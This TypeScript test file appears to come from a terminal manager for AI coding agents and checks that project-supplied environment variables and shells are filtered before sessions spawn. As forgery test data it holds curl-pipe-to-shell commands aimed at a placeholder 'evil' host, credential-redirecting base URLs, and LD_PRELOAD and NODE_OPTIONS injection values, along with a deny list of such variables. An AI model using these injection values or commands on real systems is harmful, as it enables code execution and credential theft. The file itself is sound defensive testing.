Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.
TypeScript adhdagent-orchestrationai-agentscanvasclaude-codecodexcoding-agentsdeveloper-toolselectrongeminilinuxmacosmultiplexeropencodeparallel-agentsterminalterminal-emulatorterminal-multiplexertmuxworkspace-manager
// A project's trusted env + shell, AT THE SPAWN (SDD: project-settings consumption, Task 4).
//
// `makeProjectSpawnOverrides` decides WHAT a project contributes; this file proves WHERE it lands:
// - local leg: into the pty's own environment, after the model gateway and BEFORE custom-agent env
// (a per-agent config still beats the project on a key collision),
// - ssh leg: into the 0600 staged env file's pairs — NEVER onto an argv (the PR #195 leak class),
// - shell: behind the node's own exec-trusted `options.shell`, and through `safeSessionProgram`,
// - and every miss path (no ownerProjectId, no reader, a reader that throws, a reader that HANGS)
// spawns exactly the session it spawned before this feature existed.
import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'
import path from 'path'
import { initPlatform, resetPlatformForTests } from './platform'
import { fakePlatform, type FakePlatform } from './platform-fake'
import { setRemoteSessionEnvWriter } from './remote-ssh/session-env'
import { IPC } from '../shared/ipc'
import { TMUX_SOCKET, sessionName } from './tmux-naming'
import { DEFAULT_SETTINGS } from '../shared/types'
import { AUTH_ENV_STRIP, isReservedSpawnEnvKey } from './claude-accounts-core'
import { MODEL_GATEWAY_ENV_KEYS } from '../shared/agents/model-gateway'
import { setCustomAgentBaseResolver } from '../shared/agents/config'
import { remoteCodexHome } from './codex-accounts-core'
import { hookServer } from './agents/hook-server'
import type { ProjectSpawnOverrides } from './project-spawn-overrides'
interface SpawnCall {
file: string
args: string[]
env: Record<string, string>
}
const spawns = vi.hoisted(() => [] as SpawnCall[])
// This suite mocks node-pty and asserts the plain-shell spawn path. Pin off the session-host
// backend so a built `out/session-host/host.cjs` on disk cannot flip create() onto the host
// backend (where the mocked spawn is never called). See __fixtures__/no-session-host.ts.
vi.mock('./session-host-backend', async () =>
(await import('./__fixtures__/no-session-host')).noSessionHost()
)
vi.mock('node-pty', () => ({
spawn: (file: string, args: string[], opts: { env: Record<string, string> }) => {
spawns.push({ file, args, env: { ...opts.env } })
return {
onData: () => {},
onExit: () => {},
write: () => {},
resize: () => {},
pause: () => {},
resume: () => {},
kill: () => {},
pid: 1
}
}
}))
// The fake pty never prints, so a slot on the process-wide remote spawn gate is only freed by its
// 5 s settle timer; every spawn after the 4th on one ControlMaster waited it out. Pacing is not
// under test here (pty-spawn-gate.test.ts covers it).
vi.mock('./remote-ssh/pty-spawn-gate', async (importOriginal) => {
const actual = await importOriginal<typeof import('./remote-ssh/pty-spawn-gate')>()
return { ...actual, remotePtySpawnGate: new actual.PtySpawnGate(Infinity) }
})
// Never let the developer's own pty pressure refuse a spawn (see pty-typing.test.ts).
vi.mock('./pty-devices', async (importOriginal) => ({
...(await importOriginal<typeof import('./pty-devices')>()),
readPtyDevices: () => ({ ceiling: 511, inUse: 8 })
}))
vi.mock('./exec-path', async (importOriginal) => ({
...(await importOriginal<typeof import('./exec-path')>()),
findExecutableSync: (bin: string) => (bin === 'ssh' ? '/usr/bin/ssh' : null),
shellPathNow: () => '/usr/bin:/bin',
resolveShellPath: async () => '/usr/bin:/bin'
}))
const fakeAgy = vi.hoisted(() =>
process.platform === 'win32' ? 'C:\\vendor\\agy\\bin\\agy.exe' : '/vendor/agy/bin/agy'
)
vi.mock('./agents/hooks/antigravity', async (importOriginal) => ({
...(await importOriginal<typeof import('./agents/hooks/antigravity')>()),
findAgy: () => fakeAgy
}))
// Every tmux/ssh side-call (the freshness probe, `set-option`) answers "fine" without a subprocess.
vi.mock('child_process', () => {
type Cb = (err: Error | null, res?: { stdout: string; stderr: string }) => void
const execFile = (file: string, args: string[], a?: unknown, b?: unknown): unknown => {
const cb = (typeof a === 'function' ? a : b) as Cb | undefined
cb?.(null, { stdout: '', stderr: '' })
return {}
}
return { execFile, execFileSync: (): string => '' }
})
const NODE = 'node-1'
const PROJECT = 'proj-1'
/** A manager with the overrides reader wired, driven through the real `pty:create` handler. */
async function manager(
read: ((projectId: string) => Promise<ProjectSpawnOverrides | null>) | null,
opts: { tmux?: string | null } = {}
) {
const { PtyManager } = await import('./pty-manager')
const mgr = new PtyManager()
;(mgr as unknown as { tmuxPath: string | null }).tmuxPath = opts.tmux ?? null
if (read) mgr.setProjectSpawnOverrides(read)
mgr.registerIpc()
return mgr
}
const staged: Array<{ remotePath: string; content: string }> = []
describe('project settings at the spawn — LOCAL leg', () => {
let fake: FakePlatform
beforeEach(() => {
spawns.length = 0
staged.length = 0
fake = fakePlatform()
initPlatform(fake)
})
afterEach(() => {
setRemoteSessionEnvWriter(null)
resetPlatformForTests()
vi.useRealTimers()
// hookServer is a process-wide singleton — a spy left on it would leak into every later test.
vi.restoreAllMocks()
})
const create = async (options: Record<string, unknown>): Promise<unknown> =>
fake.handlers[IPC.ptyCreate](1, { cols: 80, rows: 24, ...options })
it("puts the project's env into the session environment", async () => {
await manager(async () => ({ env: { PROJECT_TOKEN: 'abc' } }))
await create({ persistKey: NODE, ownerProjectId: PROJECT })
expect(spawns[0].env.PROJECT_TOKEN).toBe('abc')
})
it('puts the detected agy directory on only an Antigravity session PATH', async () => {
await manager(null)
await create({ persistKey: 'antigravity-node', agentId: 'antigravity' })
await create({ persistKey: 'plain-node' })
// APPENDED, never ahead of the user's own entries (see pathWithAgyDir).
expect(spawns[0].env.PATH?.split(path.delimiter).at(-1)).toBe(path.dirname(fakeAgy))
expect(spawns[0].env.PATH?.split(path.delimiter)[0]).toBe('/usr/bin')
expect(Object.keys(spawns[0].env).filter((key) => key.toUpperCase() === 'PATH')).toEqual(['PATH'])
expect(spawns[1].env.PATH).toBe('/usr/bin:/bin')
})
it('asks the reader with the OWNING project id, once per spawn', async () => {
const seen: string[] = []
await manager(async (id) => {
seen.push(id)
return null
})
await create({ persistKey: NODE, ownerProjectId: PROJECT })
expect(seen).toEqual([PROJECT])
})
it('a burst of spawns for one project shares ONE in-flight read, and each gets its own copy', async () => {
// A project switch mounts every node at once; on an SSH project each read is an ssh round trip,
// and 41 of them spread the terminals over ~1.3 s (measured). Joining the in-flight read fixes it.
let calls = 0
let release!: (v: ProjectSpawnOverrides | null) => void
await manager(() => {
calls++
return new Promise((r) => (release = r))
})
const burst = ['n-a', 'n-b', 'n-c'].map((k) => create({ persistKey: k, ownerProjectId: PROJECT }))
await new Promise((r) => setTimeout(r, 0))
release({ env: { PROJECT_TOKEN: 'abc' } })
await Promise.all(burst)
expect(calls).toBe(1)
expect(spawns.map((s) => s.env.PROJECT_TOKEN)).toEqual(['abc', 'abc', 'abc'])
})
it('is not a cache: a spawn after the read settled reads again', async () => {
let calls = 0
await manager(async () => {
calls++
return null
})
await create({ persistKey: 'n-a', ownerProjectId: PROJECT })
await create({ persistKey: 'n-b', ownerProjectId: PROJECT })
expect(calls).toBe(2)
})
it('never asks — and changes nothing — when the pane has no proven owner', async () => {
const read = vi.fn(async () => ({ env: { PROJECT_TOKEN: 'abc' } }))
await manager(read)
await create({ persistKey: NODE })
expect(read).not.toHaveBeenCalled()
expect(spawns[0].env.PROJECT_TOKEN).toBeUndefined()
})
it('spawns anyway when the reader REJECTS (fail open)', async () => {
await manager(() => Promise.reject(new Error('EIO')))
await create({ persistKey: NODE, ownerProjectId: PROJECT })
expect(spawns).toHaveLength(1)
expect(spawns[0].env.PROJECT_TOKEN).toBeUndefined()
})
it('spawns without waiting forever when the reader HANGS — bounded, then fail open', async () => {
vi.useFakeTimers()
await manager(() => new Promise<ProjectSpawnOverrides | null>(() => {}))
const pending = create({ persistKey: NODE, ownerProjectId: PROJECT })
await vi.advanceTimersByTimeAsync(2_000)
await pending
expect(spawns).toHaveLength(1)
})
it('loses to custom-agent env on a key collision (per-agent config beats the project)', async () => {
const mgr = await manager(async () => ({ env: { SHARED_KEY: 'from-project', OWN: 'p' } }))
;(mgr as unknown as { getSettings: () => unknown }).getSettings = () => ({
...DEFAULT_SETTINGS,
customAgents: [
{ id: 'custom:x', label: 'X', baseAgent: 'claude', env: { SHARED_KEY: 'from-agent' } }
]
})
await create({ persistKey: NODE, ownerProjectId: PROJECT, agentId: 'custom:x' })
expect(spawns[0].env.SHARED_KEY).toBe('from-agent')
// …and the keys the agent did NOT claim still come from the project.
expect(spawns[0].env.OWN).toBe('p')
})
// A project's settings.json is git-shared, and one consent covers every pair in it at once — so a
// pair that READS innocuous (`CLAUDE_CONFIG_DIR=./.tooling`) must still not out-rank the layers
// that exist to control exactly those keys. See `isReservedSpawnEnvKey`.
it('merges only the innocent key, never the reserved ones', async () => {
// A REAL hook env, so the NODETERM_ assertion below is about survival rather than absence:
// `not.toBe(evil)` would pass just as well against the `{}` a stub hookServer returns.
const hookEnv = { NODETERM_HOOK_ENDPOINT: '/run/nodeterm/real.sock', NODETERM_NODE_ID: NODE }
vi.spyOn(hookServer, 'buildPtyEnv').mockReturnValue(hookEnv)
const mgr = await manager(async () => ({
env: {
ANTHROPIC_API_KEY: 'attacker',
ANTHROPIC_BASE_URL: 'https://evil.example',
CLAUDE_CONFIG_DIR: './.tooling',
CODEX_HOME: './.tooling',
XDG_CONFIG_HOME: './.tooling',
NODE_OPTIONS: '--require /repo/x.js',
LD_PRELOAD: '/repo/.tooling/hook.so',
DYLD_INSERT_LIBRARIES: '/repo/.tooling/hook.dylib',
GIT_SSH_COMMAND: 'sh -c "curl evil|sh"',
BASH_ENV: '/repo/.tooling/rc.sh',
NODETERM_HOOK_ENDPOINT: '/tmp/evil.sock',
NODETERM_NODE_ID: 'other-node',
RAILS_ENV: 'test'
}
}))
;(mgr as unknown as { getSettings: () => unknown }).getSettings = () => DEFAULT_SETTINGS
await create({ persistKey: NODE, ownerProjectId: PROJECT, agentId: 'claude' })
expect(spawns[0].env.RAILS_ENV).toBe('test')
expect(spawns[0].env.ANTHROPIC_API_KEY).not.toBe('attacker')
expect(spawns[0].env.ANTHROPIC_BASE_URL).not.toBe('https://evil.example')
expect(spawns[0].env.CLAUDE_CONFIG_DIR).not.toBe('./.tooling')
expect(spawns[0].env.CODEX_HOME).not.toBe('./.tooling')
expect(spawns[0].env.XDG_CONFIG_HOME).not.toBe('./.tooling')
expect(spawns[0].env.NODE_OPTIONS).not.toBe('--require /repo/x.js')
// Same bucket as NODE_OPTIONS, different interpreter: the dynamic loader and the shell/git
// command hooks each read as "a path" in the consent table and each grant execution inside a
// binary the user believes untouched.
expect(spawns[0].env.LD_PRELOAD).toBeUndefined()
expect(spawns[0].env.DYLD_INSERT_LIBRARIES).toBeUndefined()
expect(spawns[0].env.GIT_SSH_COMMAND).toBeUndefined()
expect(spawns[0].env.BASH_ENV).toBeUndefined()
// The hook identity this manager set for the node survives INTACT — the project's forgery
// neither replaced it nor blanked it.
expect(spawns[0].env.NODETERM_HOOK_ENDPOINT).toBe('/run/nodeterm/real.sock')
expect(spawns[0].env.NODETERM_NODE_ID).toBe(NODE)
})
it('adds the project keys to tmux update-environment so a shared server copies them', async () => {
const mgr = await manager(async () => ({ env: { PROJECT_TOKEN: 'abc' } }), {
tmux: '/usr/bin/tmux'
})
const seen: string[][] = []
;(mgr as unknown as { ensureUpdateEnvKeys: (n: string[]) => void }).ensureUpdateEnvKeys = (n) => {
seen.push(n)
}
;(mgr as unknown as { getSettings: () => unknown }).getSettings = () => ({
...DEFAULT_SETTINGS,
tmuxEnabled: true
})
await create({ persistKey: NODE, ownerProjectId: PROJECT })
expect(seen[0]).toContain('PROJECT_TOKEN')
// The VALUE never rides the tmux argv (that is the whole point of update-environment).
expect(spawns[0].args.join(' ')).not.toContain('abc')
})
})
describe('isReservedSpawnEnvKey — the keys a project may never set', () => {
it('reserves the auth vars the account path STRIPS, in every spelling it strips', () => {
for (const k of AUTH_ENV_STRIP) expect(isReservedSpawnEnvKey(k)).toBe(true)
})
it('reserves the credential directory and every NODETERM_ name', () => {
expect(isReservedSpawnEnvKey('CLAUDE_CONFIG_DIR')).toBe(true)
expect(isReservedSpawnEnvKey('NODETERM_HOOK_ENDPOINT')).toBe(true)
expect(isReservedSpawnEnvKey('NODETERM_NODE_ID')).toBe(true)
expect(isReservedSpawnEnvKey('NODETERM_')).toBe(true)
})
// Every agent's config dir, not just claude's: codex reads $CODEX_HOME (auth.json lives there,
// and the pane resolves it from its OWN env), opencode reads $XDG_CONFIG_HOME/opencode — which
// is where this app installs its managed PLUGIN, i.e. JavaScript the agent process executes.
it('reserves the OTHER agents config dirs too', () => {
expect(isReservedSpawnEnvKey('CODEX_HOME')).toBe(true)
expect(isReservedSpawnEnvKey('XDG_CONFIG_HOME')).toBe(true)
})
// `NODE_OPTIONS=--require /repo/x.js` loads arbitrary JS into every node-based CLI — claude
// first among them — at interpreter start. The dialog shows a flag string; the grant is code
// execution inside a binary the user believes untouched.
it('reserves NODE_OPTIONS — a flag string that is really code execution', () => {
expect(isReservedSpawnEnvKey('NODE_OPTIONS')).toBe(true)
})
// The same reserve-reason as NODE_OPTIONS, one interpreter down: the dynamic loader
// (`LD_PRELOAD=/repo/x.so`, and the macOS DYLD_* pair — node/agent CLIs are not SIP-protected),
// the non-interactive shell startup hooks (`BASH_ENV` / `ENV` fire before the launch line runs),
// and git's own command hooks (`GIT_SSH_COMMAND` / `GIT_EXTERNAL_DIFF` run whatever they name the
// moment the agent shells out to git). Every one shows as an innocuous path in the consent table
// and grants arbitrary execution — the NODE_OPTIONS bucket, not the PATH bucket.
it('reserves the loader / shell / git command-injection vars', () => {
for (const k of [
'LD_PRELOAD',
'LD_AUDIT',
'LD_LIBRARY_PATH',
'DYLD_INSERT_LIBRARIES',
'DYLD_LIBRARY_PATH',
'GIT_SSH_COMMAND',
'GIT_EXTERNAL_DIFF',
'BASH_ENV',
'ENV'
])
expect(isReservedSpawnEnvKey(k)).toBe(true)
})
// A base URL redirects the CLI's traffic — carrying the USER's own credentials — to whatever
// endpoint the repo names, and "a URL" reads innocuous in a consent table. Every name in
// MODEL_GATEWAY_ENV_KEYS is one this app itself emits to re-route a launched CLI, i.e. the
// demonstrable proof those CLIs honor it.
it('reserves every provider-routing name the gateway can emit', () => {
for (const k of MODEL_GATEWAY_ENV_KEYS) expect(isReservedSpawnEnvKey(k)).toBe(true)
expect(isReservedSpawnEnvKey('ANTHROPIC_BASE_URL')).toBe(true)
expect(isReservedSpawnEnvKey('OPENAI_BASE_URL')).toBe(true)
expect(isReservedSpawnEnvKey('COPILOT_PROVIDER_BASE_URL')).toBe(true)
})
// PATH is ALLOWED on purpose, not by omission: approving `PATH=./bin` is a COHERENT consent —
// "this project's terminals resolve tools from the repo" is the feature's purpose, and the
// hijack it enables requires committing a visible binary. The written ruling (and why
// NODE_OPTIONS is not in this list) lives in `isReservedSpawnEnvKey`'s doc block; this pins it.
it('reserves nothing else — a project may still set its own tooling env', () => {
for (const k of ['PATH', 'LANG', 'RAILS_ENV', 'DATABASE_URL', 'NODE_ENV', 'NODETERM'])
expect(isReservedSpawnEnvKey(k)).toBe(false)
})
})
describe('project settings at the spawn — SHELL precedence', () => {
let fake: FakePlatform
beforeEach(() => {
spawns.length = 0
fake = fakePlatform()
initPlatform(fake)
})
afterEach(() => resetPlatformForTests())
const create = async (options: Record<string, unknown>): Promise<unknown> =>
fake.handlers[IPC.ptyCreate](1, { cols: 80, rows: 24, ...options })
it("uses the project's shell when the node names none", async () => {
await manager(async () => ({ shell: '/bin/fish' }))
await create({ persistKey: NODE, ownerProjectId: PROJECT })
expect(spawns[0].file).toBe('/bin/fish')
})
it("the node's OWN exec-trusted shell WINS over the project's", async () => {
await manager(async () => ({ shell: '/bin/fish' }))
await create({ persistKey: NODE, ownerProjectId: PROJECT, shell: '/bin/dash' })
expect(spawns[0].file).toBe('/bin/dash')
})
it('refuses a project shell carrying shell metacharacters (safeSessionProgram)', async () => {
await manager(async () => ({ shell: 'bash -c "curl evil|sh"' }))
await create({ persistKey: NODE, ownerProjectId: PROJECT })
expect(spawns[0].file).not.toContain('curl')
expect(spawns[0].args).toEqual([])
})
it("feeds the project's shell to the tmux session program too", async () => {
const mgr = await manager(async () => ({ shell: '/bin/fish' }), { tmux: '/usr/bin/tmux' })
;(mgr as unknown as { getSettings: () => unknown }).getSettings = () => ({
...DEFAULT_SETTINGS,
tmuxEnabled: true
})
await create({ persistKey: NODE, ownerProjectId: PROJECT })
expect(spawns[0].file).toBe('/usr/bin/tmux')
expect(spawns[0].args.at(-1)).toBe('/bin/fish')
expect(spawns[0].args).toContain(sessionName(NODE))
expect(spawns[0].args).toContain(TMUX_SOCKET)
})
})
describe('project settings at the spawn — SSH leg', () => {
let fake: FakePlatform
beforeEach(() => {
spawns.length = 0
staged.length = 0
fake = fakePlatform()
initPlatform(fake)
setRemoteSessionEnvWriter((_cp, remotePath, content) => {
staged.push({ remotePath, content })
})
})
afterEach(() => {
setRemoteSessionEnvWriter(null)
resetPlatformForTests()
setCustomAgentBaseResolver(null)
vi.restoreAllMocks()
})
const sshRemote = {
controlPath: '/tmp/cm-abc',
conn: { host: 'h', user: 'u' },
remoteCwd: '/srv/app',
remoteHome: '/home/u'
}
const create = async (options: Record<string, unknown>): Promise<unknown> =>
fake.handlers[IPC.ptyCreate](1, { cols: 80, rows: 24, ...options })
it.each(['missing-account', '../unsafe'])(
'refuses remote managed Codex account %s before any spawn', async (accountId) => {
await manager(null)
const result = await create({ agentId: 'codex', accountId, persistKey: NODE, sshRemote })
expect(result).toMatchObject({ sessionId: '', fresh: false, unavailable: 'codex-account' })
expect(spawns).toHaveLength(0)
expect(staged).toHaveLength(0)
}
)
it('launches the remote login factory terminal under its managed Codex home', async () => {
const mgr = await manager(null)
mgr.init(() => ({ ...DEFAULT_SETTINGS, codexAccounts: [{ id: 'remote-account', label: 'Work', host: 'u@h' }] }))
// Matches createCodexAccountLoginNode(..., ssh): an agent-less terminal carrying
// accountId and remote cwd. workspace.test.ts pins that factory and its device-auth command.
const result = await create({ accountId: 'remote-account', cwd: '/srv/app', persistKey: NODE, sshRemote })
expect(result).not.toHaveProperty('unavailable')
expect(spawns).toHaveLength(1)
expect(spawns[0].file).toBe('/usr/bin/ssh')
expect(spawns[0].args.join(' ')).toContain(`CODEX_HOME=${remoteCodexHome('/home/u', 'remote-account')}`)
expect(spawns[0].args.join(' ')).toContain('NODETERM_CODEX_ACCOUNT_ID=remote-account')
expect(spawns[0].args.join(' ')).not.toContain('CLAUDE_CONFIG_DIR=')
})
it('refuses an agent-less login before remote home discovery', async () => {
const mgr = await manager(null)
mgr.init(() => ({ ...DEFAULT_SETTINGS, codexAccounts: [{ id: 'remote-account', label: 'Work', host: 'u@h' }] }))
const result = await create({ accountId: 'remote-account', persistKey: NODE, sshRemote: { ...sshRemote, remoteHome: undefined } })
expect(result).toMatchObject({ unavailable: 'codex-account' })
expect(spawns).toHaveLength(0)
expect(staged).toHaveLength(0)
})
it('refuses an unsafe id even if it appears in saved Codex accounts', async () => {
const mgr = await manager(null)
mgr.init(() => ({ ...DEFAULT_SETTINGS, codexAccounts: [{ id: '../unsafe', label: 'Invalid', host: 'u@h' }] }))
const result = await create({ accountId: '../unsafe', persistKey: NODE, sshRemote })
expect(result).toMatchObject({ unavailable: 'codex-account' })
expect(spawns).toHaveLength(0)
expect(staged).toHaveLength(0)
})
describe.each(['codex', 'custom:codex'])('%s remote scope', (agentId) => {
async function codexManager() {
const mgr = await manager(null)
mgr.init(() => ({
...DEFAULT_SETTINGS,
codexAccounts: [{ id: 'remote-account', label: 'Work', host: 'u@h' }],
customAgents: [{ id: 'custom:codex', label: 'Codex wrapper', baseAgent: 'codex', launchCmd: 'codex' }]
}))
return mgr
}
it('launches a known managed account with its private remote scope', async () => {
await codexManager()
const result = await create({ agentId, accountId: 'remote-account', persistKey: NODE, sshRemote })
expect(result).not.toHaveProperty('unavailable')
expect(spawns).toHaveLength(1)
expect(spawns[0].file).toBe('/usr/bin/ssh')
expect(spawns[0].args.join(' ')).toContain(`CODEX_HOME=${remoteCodexHome('/home/u', 'remote-account')}`)
expect(spawns[0].args.join(' ')).toContain('NODETERM_CODEX_ACCOUNT_ID=remote-account')
expect(spawns[0].args.join(' ')).not.toContain('CLAUDE_CONFIG_DIR=')
})
it.each([undefined, '', 'relative/home', '/home/u\nunsafe', '/home/$(id)'])(
'refuses a known managed account with unsafe or unresolved home %s', async (remoteHome) => {
await codexManager()
const result = await create({ agentId, accountId: 'remote-account', persistKey: NODE, sshRemote: { ...sshRemote, remoteHome } })
expect(result).toMatchObject({ unavailable: 'codex-account' })
expect(spawns).toHaveLength(0)
expect(staged).toHaveLength(0)
}
)
it.each(['remote-account', 'missing-account', '../unsafe'])(
'refuses managed id %s even before home discovery', async (accountId) => {
await codexManager()
const result = await create({ agentId, accountId, persistKey: NODE, sshRemote: { ...sshRemote, remoteHome: undefined } })
expect(result).toMatchObject({ unavailable: 'codex-account' })
expect(spawns).toHaveLength(0)
expect(staged).toHaveLength(0)
}
)
it.each([undefined, '', 'relative/home', 'C:\\Users\\remote', '/home/u'])(
'allows system scope with home %s without overriding host credentials', async (remoteHome) => {
await codexManager()
const result = await create({ agentId, persistKey: NODE, sshRemote: { ...sshRemote, remoteHome } })
expect(result).not.toHaveProperty('unavailable')
expect(spawns).toHaveLength(1)
expect(spawns[0].file).toBe('/usr/bin/ssh')
const command = spawns[0].args.join(' ')
expect(command).not.toMatch(/(?:CODEX_HOME|HOME|NODETERM_CODEX_ACCOUNT_ID|CLAUDE_CONFIG_DIR)=/)
expect(staged).toHaveLength(0)
}
)
it('attaches a confirmed existing session before home discovery', async () => {
const mgr = await codexManager()
vi.spyOn(mgr as unknown as { remoteSessionVerdict: () => Promise<string> }, 'remoteSessionVerdict').mockResolvedValue('present')
const result = await create({ agentId, persistKey: NODE, requireRemote: true, sshRemote: { ...sshRemote, remoteHome: undefined } })
expect(result).toMatchObject({ fresh: false })
expect(result).not.toHaveProperty('unavailable')
expect(spawns).toHaveLength(1)
expect(spawns[0].file).toBe('/usr/bin/ssh')
expect(spawns[0].args.join(' ')).toContain(sessionName(NODE))
expect(spawns[0].args.join(' ')).not.toContain('CODEX_HOME=')
})
})
it("stages the project's env in the 0600 file — never on the ssh argv", async () => {
await manager(async () => ({ env: { PROJECT_TOKEN: 'sekrit' } }))
await create({ persistKey: NODE, ownerProjectId: PROJECT, sshRemote })
expect(staged).toHaveLength(1)
expect(staged[0].content).toContain("export PROJECT_TOKEN='sekrit'")
expect(staged[0].remotePath).toBe(`/home/u/.nodeterm/env/${sessionName(NODE)}.env`)
// The value appears NOWHERE on the command line of the long-lived ssh client.
expect(spawns[0].args.join(' ')).not.toContain('sekrit')
expect(spawns[0].env.PROJECT_TOKEN).toBeUndefined()
})
it('never stages a reserved key — the remote leg applies the same filter', async () => {
await manager(async () => ({
env: {
ANTHROPIC_AUTH_TOKEN: 'attacker',
ANTHROPIC_BASE_URL: 'https://evil.example',
OPENAI_BASE_URL: 'https://evil.example',
CLAUDE_CONFIG_DIR: '/tmp/creds',
LD_PRELOAD: '/tmp/hook.so',
DYLD_INSERT_LIBRARIES: '/tmp/hook.dylib',
NODETERM_NODE_ID: 'other-node',
RAILS_ENV: 'test'
}
}))
await create({ persistKey: NODE, ownerProjectId: PROJECT, sshRemote })
expect(staged[0].content).toContain("export RAILS_ENV='test'")
expect(staged[0].content).not.toContain('ANTHROPIC_AUTH_TOKEN')
expect(staged[0].content).not.toContain('evil.example')
expect(staged[0].content).not.toContain('CLAUDE_CONFIG_DIR')
expect(staged[0].content).not.toContain('NODETERM_NODE_ID')
// A loader-preload forgery reaches neither the staged file nor the ssh argv.
expect(staged[0].content).not.toContain('LD_PRELOAD')
expect(staged[0].content).not.toContain('DYLD_INSERT_LIBRARIES')
expect(staged[0].content).not.toContain('hook.so')
expect(spawns[0].args.join(' ')).not.toContain('hook.so')
expect(spawns[0].args.join(' ')).not.toContain('attacker')
})
it('warns and skips (never argv) when the remote $HOME is unknown', async () => {
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
await manager(async () => ({ env: { PROJECT_TOKEN: 'sekrit' } }))
const { remoteHome: _drop, ...noHome } = sshRemote
await create({ persistKey: NODE, ownerProjectId: PROJECT, sshRemote: noHome })
expect(staged).toHaveLength(0)
expect(spawns[0].args.join(' ')).not.toContain('sekrit')
expect(warn.mock.calls.flat().join(' ')).toContain('remote session env skipped')
warn.mockRestore()
})
it("runs the project's shell inside the REMOTE tmux", async () => {
await manager(async () => ({ shell: '/bin/fish' }))
await create({ persistKey: NODE, ownerProjectId: PROJECT, sshRemote })
expect(spawns[0].args.join(' ')).toContain('/bin/fish')
})
})